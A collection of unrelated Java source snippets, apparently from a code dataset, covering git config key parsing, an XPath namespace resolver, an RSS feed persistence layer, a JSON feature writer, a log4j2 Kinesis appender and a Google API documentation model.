* Takes a git config key string (e.g. core.hooksPath) and splits it into section, subsection, and name.
* The former two are set to null is missing from the provided string.
*
* @param string a git config key string.
* @return an array representing git config key section, subsection, and name respectively.
*
* @throws MojoFailureException if the git config key string is invalid.
*/
private String[] stringToConfigArray(final String string) throws MojoFailureException {
final String[] split = string.split("\\.");
final byte sections = 3;
if (split.length > sections || split.length < 2) {
throw new MojoFailureException("Git config '" + string + "' must include 1-2 sections separated by stops.");
}
final String name = split[split.length - 1];
final String subsection = split.length == sections ? split[1] : null;
final String section = split[0];
return new String[]{section, subsection, name};
}
}
|
Java
|
public class Round implements BinaryOperator<SetElement,SetElement,SetElement> {
/**
* @see evaluable.BinaryOperator#evaluate(evaluable.Evaluable, evaluable.Evaluable)
*/
@Override
public SetElement evaluate(Evaluable<SetElement> leftOperator, Evaluable<SetElement> rightOperator) {
BigDecimal number = leftOperator.evaluate().get_value();
int digits = rightOperator.evaluate().get_value().intValue();
BigDecimal rounded_value = number.setScale(digits,RoundingMode.HALF_UP);
DecimalElement result = new DecimalElement(rounded_value);
return result;
}
}
|
Java
|
public class DomXPathNamespaceResolver implements NamespaceContext {
protected Map<String, String> namespaces;
protected SpinXmlElement element;
public DomXPathNamespaceResolver(SpinXmlElement element) {
this.namespaces = new HashMap<String, String>();
this.element = element;
}
public String getNamespaceURI(String prefix) {
ensureNotNull("Prefix", prefix);
if(prefix.equals(XMLConstants.XML_NS_PREFIX)) {
return XMLConstants.XML_NS_URI;
}
if(prefix.equals(XMLConstants.XMLNS_ATTRIBUTE)) {
return XMLConstants.XMLNS_ATTRIBUTE_NS_URI;
}
/**
* TODO: This only works for the root element. Every child element with a 'xmlns'-attribute will be ignored
* So you need to specify an own prefix for the child elements default namespace uri
*/
if(prefix.equals(XMLConstants.DEFAULT_NS_PREFIX)) {
return element.namespace();
}
if(namespaces.containsKey(prefix)) {
return namespaces.get(prefix);
} else {
return XMLConstants.NULL_NS_URI;
}
}
public String getPrefix(String namespaceURI) {
ensureNotNull("Namespace URI", namespaceURI);
if(namespaceURI.equals(XMLConstants.XML_NS_URI)) {
return XMLConstants.XML_NS_PREFIX;
}
if(namespaceURI.equals(XMLConstants.XMLNS_ATTRIBUTE_NS_URI)) {
return XMLConstants.XMLNS_ATTRIBUTE;
}
/**
* TODO: This only works for the root element. Every child element with a 'xmlns'-attribute will be ignored.
*/
if (namespaceURI.equals(element.name())) {
return XMLConstants.DEFAULT_NS_PREFIX;
}
String key = null;
if(namespaces.containsValue(namespaceURI)) {
for(Map.Entry<String, String> entry : namespaces.entrySet()) {
if(namespaceURI.equals(entry.getValue())) {
key = entry.getKey();
break;
}
}
}
return key;
}
public Iterator getPrefixes(String namespaceURI) {
ensureNotNull("Namespace URI", namespaceURI);
List<String> list = new ArrayList<String>();
if(namespaceURI.equals(XMLConstants.XML_NS_URI)) {
list.add(XMLConstants.XML_NS_PREFIX);
return Collections.unmodifiableList(list).iterator();
}
if(namespaceURI.equals(XMLConstants.XMLNS_ATTRIBUTE_NS_URI)) {
list.add(XMLConstants.XMLNS_ATTRIBUTE);
return Collections.unmodifiableList(list).iterator();
}
// default namespace
if(namespaceURI.equals(element.namespace())) {
list.add(XMLConstants.DEFAULT_NS_PREFIX);
}
if(namespaces.containsValue(namespaceURI)) {
// all other namespaces
for (Map.Entry<String, String> entry : namespaces.entrySet()) {
if (namespaceURI.equals(entry.getValue())) {
list.add(entry.getKey());
}
}
}
return Collections.unmodifiableList(list).iterator();
}
/**
* Maps a single prefix, uri pair as namespace.
*
* @param prefix the prefix to use
* @param namespaceURI the URI to use
* @throws IllegalArgumentException if prefix or namespaceURI is null
*/
public void setNamespace(String prefix, String namespaceURI) {
ensureNotNull("Prefix", prefix);
ensureNotNull("Namespace URI", namespaceURI);
namespaces.put(prefix, namespaceURI);
}
/**
* Maps a map of prefix, uri pairs as namespaces.
*
* @param namespaces the map of namespaces
* @throws IllegalArgumentException if namespaces is null
*/
public void setNamespaces(Map<String, String> namespaces) {
ensureNotNull("Namespaces", namespaces);
this.namespaces = namespaces;
}
}
|
Java
|
@Database(entities = {VrImage.class}, version = 1)
@TypeConverters({Converters.class})
public abstract class VrImagesDatabase extends RoomDatabase {
public static final String DATABASE_NAME = "vr_database";
public abstract VrImageDao vrImageDao();
}
|
Java
|
public abstract class DataPersister
{
/*----------------------------------------------------------------------*\
Public Interfaces
\*----------------------------------------------------------------------*/
/**
* Used to define a callback for handling loaded data.
*/
public interface LoadedDataHandler
{
/**
* Called by the subclass when it has finished loading data for a feed.
*
* @param feedData the loaded feed (and item) data
*
* @throws CurnException on error
*/
public void feedLoaded(PersistentFeedData feedData)
throws CurnException;
/**
* Called by the subclass when it has finished loading the extra
* metadata for a particular namespace.
*
* @param metadataGroup the metadata for the namespace
*
* @throws CurnException on error
*/
public void extraMetadataLoaded(PersistentMetadataGroup metadataGroup)
throws CurnException;
}
/*----------------------------------------------------------------------*\
Private Data Items
\*----------------------------------------------------------------------*/
/**
* Map of interested PersistentDataClient objects, indexed by namespace
*/
private Map<String, PersistentDataClient> persistentDataClients =
new HashMap<String,PersistentDataClient>();
/**
* For logging
*/
private static final Logger log = new Logger(DataPersister.class);
/*----------------------------------------------------------------------*\
Constructor
\*----------------------------------------------------------------------*/
protected DataPersister()
{
}
/*----------------------------------------------------------------------*\
Public Methods
\*----------------------------------------------------------------------*/
/**
* Save the feed metadata. The configuration is passed in, so that
* the persister can obtain, from the configuration, whatever
* data it needs to find the persisted metadata to read.
*
* @param feedCache {@link FeedCache} object to save
*
* @throws CurnException on error
*/
public final void saveData(FeedCache feedCache)
throws CurnException
{
if (isEnabled())
{
// First, retrieve all entries from the cache and reorganize them.
Collection<FeedCacheEntry> cacheEntries = feedCache.getAllEntries();
Map<URL, PersistentFeedData> cacheDataByFeed =
getCacheDataByFeed(cacheEntries);
// Now that everything's in the right order, gather the additional
// metadata for each feed and its items. We don't need the map
// any more.
Collection<PersistentFeedData> persistentDataByFeed =
cacheDataByFeed.values();
cacheDataByFeed = null;
for (PersistentFeedData feedData : persistentDataByFeed)
getFeedMetadataForFeed(feedData);
// Now, gather any extra metadata that isn't attached to a feed or
// item.
Collection<PersistentMetadataGroup> extraMetadata =
new ArrayList<PersistentMetadataGroup>();
for (PersistentDataClient client : persistentDataClients.values())
{
String namespace = client.getMetatdataNamespace();
PersistentMetadataGroup metadata;
Map<String,String> nameValuePairs = client.getExtraFeedMetadata();
if ((nameValuePairs != null) && (nameValuePairs.size() > 0))
{
metadata = new PersistentMetadataGroup(namespace);
metadata.addMetadata(nameValuePairs);
extraMetadata.add(metadata);
}
}
// Let the saving begin.
startSaveOperation();
for (PersistentFeedData feedData : persistentDataByFeed)
saveFeedData(feedData);
saveExtraMetadata(extraMetadata);
endSaveOperation();
}
}
/**
* Load the cache and metadata.
*
* @param feedCache the {@link FeedCache} object to fill
*
* @throws CurnException on error
*/
public void loadData(final FeedCache feedCache)
throws CurnException
{
if (isEnabled())
{
startLoadOperation();
doLoad(new LoadedDataHandler()
{
public void feedLoaded(PersistentFeedData feedData)
throws CurnException
{
processLoadedFeed(feedData, feedCache);
}
public void
extraMetadataLoaded(PersistentMetadataGroup metadataGroup)
throws CurnException
{
String namespace = metadataGroup.getNamespace();
PersistentDataClient client =
persistentDataClients.get(namespace);
if (client == null)
{
log.warn("No plug-in or other class has registered " +
"interest in extra metadata namespace \"" +
namespace + "\". " + "Ignoring the metadata.");
}
else
{
Map<String,String> nameValuePairs =
metadataGroup.getMetadata();
for (Map.Entry<String,String> entry :
nameValuePairs.entrySet())
{
client.parseExtraMetadata(entry.getKey(),
entry.getValue());
}
}
}
});
endLoadOperation();
feedCache.optimizeAfterLoad();
}
}
/**
* Register a {@link PersistentDataClient} object with this registry.
* When data for that client is read, this object will call the
* client's <tt>process</tt> methods. When it's time to save the metadata,
* this object will call the client's <tt>get</tt> methods. Multiple
* {@link PersistentDataClient} objects may be registered with this object.
*
* @param client the {@link PersistentDataClient} object
*/
public final void addPersistentDataClient(PersistentDataClient client)
{
persistentDataClients.put(client.getMetatdataNamespace(), client);
}
/**
* Called when the <tt>DataPersister</tt> is first instantiated. Useful
* for retrieving configuration values, etc.
*
* @param curnConfig the configuration
*
* @throws CurnException on error
*/
public abstract void init(CurnConfig curnConfig)
throws CurnException;
/*----------------------------------------------------------------------*\
Protected Methods
\*----------------------------------------------------------------------*/
/**
* Determine whether the data persister subclass is enabled or not (i.e.,
* whether or not metadata is to be loaded and saved). The configuration
* usually determines whether or not the data persister is enabled.
*
* @return <tt>true</tt> if enabled, <tt>false</tt> if disabled.
*/
protected abstract boolean isEnabled();
/**
* Called at the beginning of the load operation to initialize
* the load.
*
* @throws CurnException on error
*/
protected abstract void startLoadOperation()
throws CurnException;
/**
* Called at the end of the load operation to close files, clean
* up, etc.
*
* @throws CurnException on error
*/
protected abstract void endLoadOperation()
throws CurnException;
/**
* The actual load method; only called if the object is enabled.
*
* @param loadedDataHandler object to receive data as it's loaded
*
* @throws CurnException on error
*/
protected abstract void doLoad(LoadedDataHandler loadedDataHandler)
throws CurnException;
/**
* Called at the beginning of the actual save operation to initialize
* the save, etc.
*
* @throws CurnException on error
*/
protected abstract void startSaveOperation()
throws CurnException;
/**
* Called at the end of the actual save operation to flush files, clean
* up, etc.
*
* @throws CurnException on error
*/
protected abstract void endSaveOperation()
throws CurnException;
/**
* Save the data for one feed, including the items.
*
* @param feedData the feed data to be saved
*
* @throws CurnException on error
*/
protected abstract void saveFeedData(PersistentFeedData feedData)
throws CurnException;
/**
* Save any extra metadata (i.e., metadata that isn't attached to a
* specific feed or a specific item).
*
* @param metadata the collection of metadata items
*
* @throws CurnException on error
*/
protected abstract void
saveExtraMetadata(Collection<PersistentMetadataGroup> metadata)
throws CurnException;
/*----------------------------------------------------------------------*\
Private Methods
\*----------------------------------------------------------------------*/
/**
* Get the persistent metadata for one feed. Also handles getting
* the data for the items.
*
* @param feedData the PersistentFeedData object into which to store
* the metadata
*
* @throws CurnException on error
*/
private void getFeedMetadataForFeed(PersistentFeedData feedData)
throws CurnException
{
for (PersistentDataClient client : persistentDataClients.values())
{
String namespace = client.getMetatdataNamespace();
PersistentMetadataGroup metadata;
// First the feed-specific metadata
FeedCacheEntry feedCacheEntry = feedData.getFeedCacheEntry();
Map<String,String> nameValuePairs =
client.getMetadataForFeed(feedCacheEntry);
if ((nameValuePairs != null) && (nameValuePairs.size() > 0))
{
metadata = new PersistentMetadataGroup(namespace);
metadata.addMetadata(nameValuePairs);
feedData.addFeedMetadataGroup(metadata);
}
// Now the metadata for each item.
for (PersistentFeedItemData itemData : feedData.getPersistentFeedItems())
{
FeedCacheEntry itemCacheEntry = itemData.getFeedCacheEntry();
nameValuePairs = client.getMetadataForItem(itemCacheEntry,
feedCacheEntry);
if ((nameValuePairs != null) && (nameValuePairs.size() > 0))
{
metadata = new PersistentMetadataGroup(namespace);
metadata.addMetadata(nameValuePairs);
itemData.addItemMetadataGroup(metadata);
}
}
}
}
private Map<URL,PersistentFeedData>
getCacheDataByFeed(final Collection<FeedCacheEntry> cacheEntries)
{
Map<URL,PersistentFeedData> cacheDataByFeed =
new HashMap<URL, PersistentFeedData>();
for (FeedCacheEntry entry : cacheEntries)
{
URL channelURL = entry.getChannelURL();
PersistentFeedData feedData = cacheDataByFeed.get(channelURL);
if (feedData == null)
{
feedData = new PersistentFeedData();
cacheDataByFeed.put(channelURL, feedData);
}
if (entry.isChannelEntry())
{
feedData.setFeedCacheEntry(entry);
}
else // It's an item entry
{
PersistentFeedItemData itemData =
new PersistentFeedItemData(entry);
feedData.addPersistentFeedItem(itemData);
}
}
return cacheDataByFeed;
}
private void processLoadedFeed(final PersistentFeedData feedData,
final FeedCache feedCache)
throws CurnException
{
// Add the feed cache entry to the feed cache.
FeedCacheEntry feedCacheEntry = feedData.getFeedCacheEntry();
log.debug("processLoadedFeed: Processing loaded feed data for " +
feedCacheEntry.getChannelURL());
feedCache.loadFeedCacheEntry(feedCacheEntry);
// Dispatch the feed metadata to the appropriate places.
for (PersistentMetadataGroup mg : feedData.getFeedMetadata())
{
String namespace = mg.getNamespace();
PersistentDataClient client =
persistentDataClients.get(namespace);
if (client == null)
{
log.warn("No plug-in or other class has registered " +
"interest in feed metadata namespace \"" +
namespace + "\". " + "Ignoring the metadata.");
}
else
{
log.debug("Dispatching feed metadata in namespace \"" +
namespace + "\" to instance of class " +
client.getClass().toString());
Map<String,String> nameValuePairs = mg.getMetadata();
for (Map.Entry<String,String> entry : nameValuePairs.entrySet())
{
client.parseFeedMetadata(entry.getKey(),
entry.getValue(),
feedCacheEntry);
}
}
}
// Process the items.
for (PersistentFeedItemData itemData : feedData.getPersistentFeedItems())
{
// Add the item's feed cache entry to the cache.
FeedCacheEntry itemCacheEntry = itemData.getFeedCacheEntry();
log.debug("processLoadedFeed: adding item " +
itemData.getFeedCacheEntry().getEntryURL() +
" to cache.");
feedCache.loadFeedCacheEntry(itemCacheEntry);
log.debug("processLoadedFeed: Processing item metadata");
// Now process the metadata.
for (PersistentMetadataGroup mg : feedData.getFeedMetadata())
{
String namespace = mg.getNamespace();
PersistentDataClient client =
persistentDataClients.get(namespace);
if (client == null)
{
log.warn("No plug-in or other class has registered " +
"interest in item metadata namespace \"" +
namespace + "\". " + "Ignoring the metadata.");
}
else
{
log.debug("Dispatching item metadata in namespace \"" +
namespace + "\" to instance of class " +
client.getClass().toString());
Map<String,String> nameValuePairs = mg.getMetadata();
for (Map.Entry<String,String> entry : nameValuePairs.entrySet())
{
client.parseItemMetadata(entry.getKey(),
entry.getValue(),
itemCacheEntry);
}
}
}
}
}
}
|
Java
|
public class Queue extends PlantSelection {
private int selectionCapacity;
private int numOfPlants = 0;
public Queue(Map<String, Image> plantConfig, PlantHandler plantCreationHandler) {
super(plantConfig, plantCreationHandler);
selectionCapacity = 5;
}
/**
* This method adds in a new seed to the queue if the capacity has not already been reached.
* @see PlantSelection#updatePlantSelection()
*/
@Override
public void updatePlantSelection() {
if (this.numOfPlants < this.selectionCapacity) {
addPlants();
numOfPlants++;
}
}
@Override
protected void addPlants() {
List<String> keysAsArray = new ArrayList<>(getPlantConfig().keySet());
Random r = new Random();
String name = keysAsArray.get(r.nextInt(keysAsArray.size()));
addSeed(name, getPlantConfig().get(name)).setId(String.format("seed%d", numOfPlants));
}
@Override
protected void addEventListener(TowerBox plant, String plantName) {
EventHandler<MouseEvent> eventHandler = event -> {
setPlantCreation(plantName);
removeFromSelection(plant);
selectionCapacity++;
};
plant.addEventFilter(MouseEvent.MOUSE_CLICKED, eventHandler);
}
@Override
protected void setPlantCreation(String plantName) {
getPlantCreationHandler().setPlantCreationWithoutSun(plantName);
}
}
|
Java
|
abstract class JSONWriterBase {
private final JsonGeneratorFactory generatorFactory = Json.createGeneratorFactory(Collections.singletonMap(JsonGenerator.PRETTY_PRINTING, true));
protected final JsonGenerator newGenerator(final Writer writer) {
return generatorFactory.createGenerator(writer);
}
protected void writeBundles(final JsonGenerator generator,
final Bundles bundles,
final Configurations allConfigs) {
// bundles
if ( !bundles.isEmpty() ) {
generator.writeStartArray(JSONConstants.FEATURE_BUNDLES);
for(final Artifact artifact : bundles) {
final Configurations cfgs = new Configurations();
for(final Configuration cfg : allConfigs) {
final String artifactProp = (String)cfg.getProperties().get(Configuration.PROP_ARTIFACT_ID);
if ( artifact.getId().toMvnId().equals(artifactProp) ) {
cfgs.add(cfg);
}
}
Map<String,String> md = artifact.getMetadata();
if ( md.isEmpty() && cfgs.isEmpty() ) {
generator.write(artifact.getId().toMvnId());
} else {
generator.writeStartObject();
generator.write(JSONConstants.ARTIFACT_ID, artifact.getId().toMvnId());
Object runmodes = md.remove("runmodes");
if (runmodes instanceof String) {
md.put("run-modes", (String) runmodes);
}
for(final Map.Entry<String, String> me : md.entrySet()) {
generator.write(me.getKey(), me.getValue());
}
generator.writeEnd();
}
}
generator.writeEnd();
}
}
/**
* Write the list of configurations into a "configurations" element
* @param generator The json generator
* @param cfgs The list of configurations
*/
protected void writeConfigurations(final JsonGenerator generator, final Configurations cfgs) {
if ( cfgs.isEmpty() ) {
return;
}
generator.writeStartObject(JSONConstants.FEATURE_CONFIGURATIONS);
for(final Configuration cfg : cfgs) {
generator.writeStartObject(cfg.getPid());
final Enumeration<String> e = cfg.getProperties().keys();
while ( e.hasMoreElements() ) {
final String name = e.nextElement();
if ( Configuration.PROP_ARTIFACT_ID.equals(name) ) {
continue;
}
final Object val = cfg.getProperties().get(name);
String typePostFix = null;
final Object typeCheck;
if ( val.getClass().isArray() ) {
if ( Array.getLength(val) > 0 ) {
typeCheck = Array.get(val, 0);
} else {
typeCheck = null;
}
} else {
typeCheck = val;
}
if ( typeCheck instanceof Integer ) {
typePostFix = ":Integer";
} else if ( typeCheck instanceof Byte ) {
typePostFix = ":Byte";
} else if ( typeCheck instanceof Character ) {
typePostFix = ":Character";
} else if ( typeCheck instanceof Float ) {
typePostFix = ":Float";
}
if ( val.getClass().isArray() ) {
generator.writeStartArray(name);
for(int i=0; i<Array.getLength(val);i++ ) {
final Object obj = Array.get(val, i);
if ( typePostFix == null ) {
if ( obj instanceof String ) {
generator.write((String)obj);
} else if ( obj instanceof Boolean ) {
generator.write((Boolean)obj);
} else if ( obj instanceof Long ) {
generator.write((Long)obj);
} else if ( obj instanceof Double ) {
generator.write((Double)obj);
}
} else {
generator.write(obj.toString());
}
}
generator.writeEnd();
} else {
if ( typePostFix == null ) {
if ( val instanceof String ) {
generator.write(name, (String)val);
} else if ( val instanceof Boolean ) {
generator.write(name, (Boolean)val);
} else if ( val instanceof Long ) {
generator.write(name, (Long)val);
} else if ( val instanceof Double ) {
generator.write(name, (Double)val);
}
} else {
generator.write(name + typePostFix, val.toString());
}
}
}
generator.writeEnd();
}
generator.writeEnd();
}
protected void writeVariables(final JsonGenerator generator, final Map<String,String> vars) {
if ( !vars.isEmpty()) {
generator.writeStartObject(JSONConstants.FEATURE_VARIABLES);
for (final Map.Entry<String, String> entry : vars.entrySet()) {
String val = entry.getValue();
if (val != null)
generator.write(entry.getKey(), val);
else
generator.writeNull(entry.getKey());
}
generator.writeEnd();
}
}
protected void writeFrameworkProperties(final JsonGenerator generator, final Map<String,String> props) {
// framework properties
if ( !props.isEmpty() ) {
generator.writeStartObject(JSONConstants.FEATURE_FRAMEWORK_PROPERTIES);
for(final Map.Entry<String, String> entry : props.entrySet()) {
generator.write(entry.getKey(), entry.getValue());
}
generator.writeEnd();
}
}
protected void writeExtensions(final JsonGenerator generator,
final List<Extension> extensions,
final Configurations allConfigs) {
for(final Extension ext : extensions) {
final String key = ext.getName() + ":" + ext.getType().name() + "|" + ext.isRequired();
if ( ext.getType() == ExtensionType.JSON ) {
final JsonStructure struct;
try ( final StringReader reader = new StringReader(ext.getJSON()) ) {
struct = Json.createReader(reader).read();
}
generator.write(key, struct);
} else if ( ext.getType() == ExtensionType.TEXT ) {
generator.writeStartArray(key);
for(String line : ext.getText().split("\n")) {
generator.write(line);
}
generator.writeEnd();
} else {
generator.writeStartArray(key);
for(final Artifact artifact : ext.getArtifacts()) {
final Configurations artifactCfgs = new Configurations();
for(final Configuration cfg : allConfigs) {
final String artifactProp = (String)cfg.getProperties().get(Configuration.PROP_ARTIFACT_ID);
if ( artifact.getId().toMvnId().equals(artifactProp) ) {
artifactCfgs.add(cfg);
}
}
if ( artifact.getMetadata().isEmpty() && artifactCfgs.isEmpty() ) {
generator.write(artifact.getId().toMvnId());
} else {
generator.writeStartObject();
generator.write(JSONConstants.ARTIFACT_ID, artifact.getId().toMvnId());
for(final Map.Entry<String, String> me : artifact.getMetadata().entrySet()) {
generator.write(me.getKey(), me.getValue());
}
writeConfigurations(generator, artifactCfgs);
generator.writeEnd();
}
}
generator.writeEnd();
}
}
}
protected void writeProperty(final JsonGenerator generator, final String key, final String value) {
if ( value != null ) {
generator.write(key, value);
}
}
protected <T> void writeList(final JsonGenerator generator, final String name, final Collection<T> values) {
if (!values.isEmpty()) {
generator.writeStartArray(name);
for (T value : values) {
generator.write(value.toString());
}
generator.writeEnd();
}
}
protected void writePrototype(final JsonGenerator generator, final Prototype inc) {
if (inc == null) {
return;
}
if ( inc.getArtifactExtensionRemovals().isEmpty()
&& inc.getBundleRemovals().isEmpty()
&& inc.getConfigurationRemovals().isEmpty()
&& inc.getFrameworkPropertiesRemovals().isEmpty() ) {
generator.write(JSONConstants.FEATURE_PROTOTYPE, (inc.getId() != null ? inc.getId().toMvnId() : inc.getUrl().toString()));
} else {
generator.writeStartObject(JSONConstants.FEATURE_PROTOTYPE);
writeProperty(generator, JSONConstants.ARTIFACT_ID, (inc.getId() != null ? inc.getId().toMvnId() : inc.getUrl().toString()));
generator.writeStartObject(JSONConstants.PROTOTYPE_REMOVALS);
if ( !inc.getArtifactExtensionRemovals().isEmpty()
|| inc.getExtensionRemovals().isEmpty() ) {
generator.writeStartArray(JSONConstants.PROTOTYPE_EXTENSION_REMOVALS);
for(final String id : inc.getExtensionRemovals()) {
generator.write(id);
}
for(final Map.Entry<String, List<ArtifactId>> entry : inc.getArtifactExtensionRemovals().entrySet()) {
generator.writeStartObject();
writeList(generator, entry.getKey(), entry.getValue());
generator.writeEnd();
}
generator.writeEnd();
}
writeList(generator, JSONConstants.FEATURE_CONFIGURATIONS, inc.getConfigurationRemovals());
writeList(generator, JSONConstants.FEATURE_BUNDLES, inc.getBundleRemovals());
writeList(generator, JSONConstants.FEATURE_FRAMEWORK_PROPERTIES, inc.getFrameworkPropertiesRemovals());
generator.writeEnd().writeEnd();
}
}
protected void writeRequirements(final JsonGenerator generator, final List<Requirement> requirements) {
if (requirements.isEmpty()) {
return;
}
generator.writeStartArray(JSONConstants.FEATURE_REQUIREMENTS);
for(final Requirement req : requirements) {
generator.writeStartObject();
writeProperty(generator, JSONConstants.REQCAP_NAMESPACE, req.getNamespace());
if ( !req.getAttributes().isEmpty() ) {
generator.writeStartObject(JSONConstants.REQCAP_ATTRIBUTES);
req.getAttributes().forEach((key, value) -> ManifestUtils.marshalAttribute(key, value, generator::write));
generator.writeEnd();
}
if ( !req.getDirectives().isEmpty() ) {
generator.writeStartObject(JSONConstants.REQCAP_DIRECTIVES);
req.getDirectives().forEach((key, value) -> ManifestUtils.marshalDirective(key, value, generator::write));
generator.writeEnd();
}
generator.writeEnd();
}
generator.writeEnd();
}
protected void writeCapabilities(final JsonGenerator generator, final List<Capability> capabilities) {
if (capabilities.isEmpty()) {
return;
}
generator.writeStartArray(JSONConstants.FEATURE_CAPABILITIES);
for(final Capability cap : capabilities) {
generator.writeStartObject();
writeProperty(generator, JSONConstants.REQCAP_NAMESPACE, cap.getNamespace());
if ( !cap.getAttributes().isEmpty() ) {
generator.writeStartObject(JSONConstants.REQCAP_ATTRIBUTES);
cap.getAttributes().forEach((key, value) -> ManifestUtils.marshalAttribute(key, value, generator::write));
generator.writeEnd();
}
if ( !cap.getDirectives().isEmpty() ) {
generator.writeStartObject(JSONConstants.REQCAP_DIRECTIVES);
cap.getDirectives().forEach((key, value) -> ManifestUtils.marshalDirective(key, value, generator::write));
generator.writeEnd();
}
generator.writeEnd();
}
generator.writeEnd();
}
}
|
Java
|
@Plugin(name = "KinesisAppender", category = Core.CATEGORY_NAME, elementType = Appender.ELEMENT_TYPE)
public class KinesisAppender
extends AbstractAppender<KinesisAppenderConfig,KinesisWriterStatistics,KinesisWriterStatisticsMXBean,KinesisWriterConfig>
{
//----------------------------------------------------------------------------
// Builder
//----------------------------------------------------------------------------
@PluginBuilderFactory
public static KinesisAppenderBuilder newBuilder() {
return new KinesisAppenderBuilder();
}
public static class KinesisAppenderBuilder
extends AbstractAppenderBuilder<KinesisAppenderBuilder>
implements KinesisAppenderConfig, org.apache.logging.log4j.core.util.Builder<KinesisAppender>
{
@PluginBuilderAttribute("name")
@Required(message = "KinesisAppender: no name provided")
private String name;
@Override
public String getName()
{
return name;
}
public KinesisAppenderBuilder setName(String value)
{
this.name = value;
return this;
}
@PluginBuilderAttribute("streamName")
private String streamName;
/**
* Sets the <code>streamName</code> configuration property.
*/
public KinesisAppenderBuilder setStreamName(String value)
{
this.streamName = value;
return this;
}
/**
* Returns the <code>streamName</code> configuration property.
*/
@Override
public String getStreamName()
{
return streamName;
}
@PluginBuilderAttribute("partitionKey")
private String partitionKey = "{startupTimestamp}";
/**
* Sets the <code>partitionKey</code> configuration property.
*/
public KinesisAppenderBuilder setPartitionKey(String value)
{
this.partitionKey = value;
return this;
}
/**
* Returns the <code>partitionKey</code> configuration property.
*/
@Override
public String getPartitionKey()
{
return partitionKey;
}
@PluginBuilderAttribute("autoCreate")
private boolean autoCreate;
/**
* Sets the <code>autoCreate</code> configuration property.
*/
public KinesisAppenderBuilder setAutoCreate(boolean value)
{
this.autoCreate = value;
return this;
}
/**
* Returns the <code>autoCreate</code> configuration property.
*/
@Override
public boolean getAutoCreate()
{
return autoCreate;
}
@PluginBuilderAttribute("shardCount")
private int shardCount = 1;
/**
* Sets the <code>shardCount</code> configuration property.
*/
public KinesisAppenderBuilder setShardCount(int value)
{
this.shardCount = value;
return this;
}
/**
* Returns the <code>shardCount</code> configuration property.
*/
@Override
public int getShardCount()
{
return shardCount;
}
@PluginBuilderAttribute("retentionPeriod")
private Integer retentionPeriod;
/**
* Sets the <code>retentionPeriod</code> configuration property.
*/
public KinesisAppenderBuilder setRetentionPeriod(Integer value)
{
// note: validation happens in constructor
this.retentionPeriod = value;
return this;
}
/**
* Returns the <code>retentionPeriod</code> configuration property.
*/
@Override
public Integer getRetentionPeriod()
{
return (retentionPeriod != null)
? retentionPeriod.intValue()
: KinesisConstants.MINIMUM_RETENTION_PERIOD;
}
@Override
public KinesisAppender build()
{
return new KinesisAppender(name, this, null);
}
}
//----------------------------------------------------------------------------
// Appender
//----------------------------------------------------------------------------
// this is extracted from config so that we can validate
protected Integer retentionPeriod;
protected KinesisAppender(String name, KinesisAppenderConfig config, InternalLogger internalLogger)
{
super(
name,
new DefaultThreadFactory("log4j2-kinesis"),
new KinesisWriterFactory(),
new KinesisWriterStatistics(),
KinesisWriterStatisticsMXBean.class,
config,
internalLogger);
}
//----------------------------------------------------------------------------
// Additional public API
//----------------------------------------------------------------------------
//----------------------------------------------------------------------------
// Internals
//----------------------------------------------------------------------------
@Override
protected KinesisWriterConfig generateWriterConfig()
{
StrSubstitutor l4jsubs = config.getConfiguration().getStrSubstitutor();
Substitutions subs = new Substitutions(new Date(), sequence.get());
String actualStreamName = subs.perform(l4jsubs.replace(config.getStreamName()));
String actualPartitionKey = subs.perform(l4jsubs.replace(config.getPartitionKey()));
return new KinesisWriterConfig(
actualStreamName, actualPartitionKey,
config.getAutoCreate(), config.getShardCount(), config.getRetentionPeriod(),
config.getBatchDelay(), config.getDiscardThreshold(), discardAction,
config.getClientFactory(), config.getClientRegion(), config.getClientEndpoint(), null, null);
}
@Override
protected boolean shouldRotate(long now)
{
return false;
}
}
|
Java
|
@SuppressWarnings("javadoc")
public final class Documentation extends com.google.api.client.json.GenericJson {
/**
* The URL to the root of documentation.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String documentationRootUrl;
/**
* Declares a single overview page. For example: documentation: summary: ... overview: ==
* include overview.md ==
*
* This is a shortcut for the following declaration (using pages style): documentation: summary:
* ... pages: - name: Overview content: == include overview.md ==
*
* Note: you cannot specify both `overview` field and `pages` field.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String overview;
/**
* The top level pages for the documentation set.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.util.List<Page> pages;
/**
* A list of documentation rules that apply to individual API elements.
*
* **NOTE:** All service configuration rules follow "last one wins" order.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.util.List<DocumentationRule> rules;
/**
* A short summary of what the service does. Can only be provided by plain text.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String summary;
/**
* The URL to the root of documentation.
* @return value or {@code null} for none
*/
public java.lang.String getDocumentationRootUrl() {
return documentationRootUrl;
}
/**
* The URL to the root of documentation.
* @param documentationRootUrl documentationRootUrl or {@code null} for none
*/
public Documentation setDocumentationRootUrl(java.lang.String documentationRootUrl) {
this.documentationRootUrl = documentationRootUrl;
return this;
}
/**
* Declares a single overview page. For example: documentation: summary: ... overview: ==
* include overview.md ==
*
* This is a shortcut for the following declaration (using pages style): documentation: summary:
* ... pages: - name: Overview content: == include overview.md ==
*
* Note: you cannot specify both `overview` field and `pages` field.
* @return value or {@code null} for none
*/
public java.lang.String getOverview() {
return overview;
}
/**
* Declares a single overview page. For example: documentation: summary: ... overview: ==
* include overview.md ==
*
* This is a shortcut for the following declaration (using pages style): documentation: summary:
* ... pages: - name: Overview content: == include overview.md ==
*
* Note: you cannot specify both `overview` field and `pages` field.
* @param overview overview or {@code null} for none
*/
public Documentation setOverview(java.lang.String overview) {
this.overview = overview;
return this;
}
/**
* The top level pages for the documentation set.
* @return value or {@code null} for none
*/
public java.util.List<Page> getPages() {
return pages;
}
/**
* The top level pages for the documentation set.
* @param pages pages or {@code null} for none
*/
public Documentation setPages(java.util.List<Page> pages) {
this.pages = pages;
return this;
}
/**
* A list of documentation rules that apply to individual API elements.
*
* **NOTE:** All service configuration rules follow "last one wins" order.
* @return value or {@code null} for none
*/
public java.util.List<DocumentationRule> getRules() {
return rules;
}
/**
* A list of documentation rules that apply to individual API elements.
*
* **NOTE:** All service configuration rules follow "last one wins" order.
* @param rules rules or {@code null} for none
*/
public Documentation setRules(java.util.List<DocumentationRule> rules) {
this.rules = rules;
return this;
}
/**
* A short summary of what the service does. Can only be provided by plain text.
* @return value or {@code null} for none
*/
public java.lang.String getSummary() {
return summary;
}
/**
* A short summary of what the service does. Can only be provided by plain text.
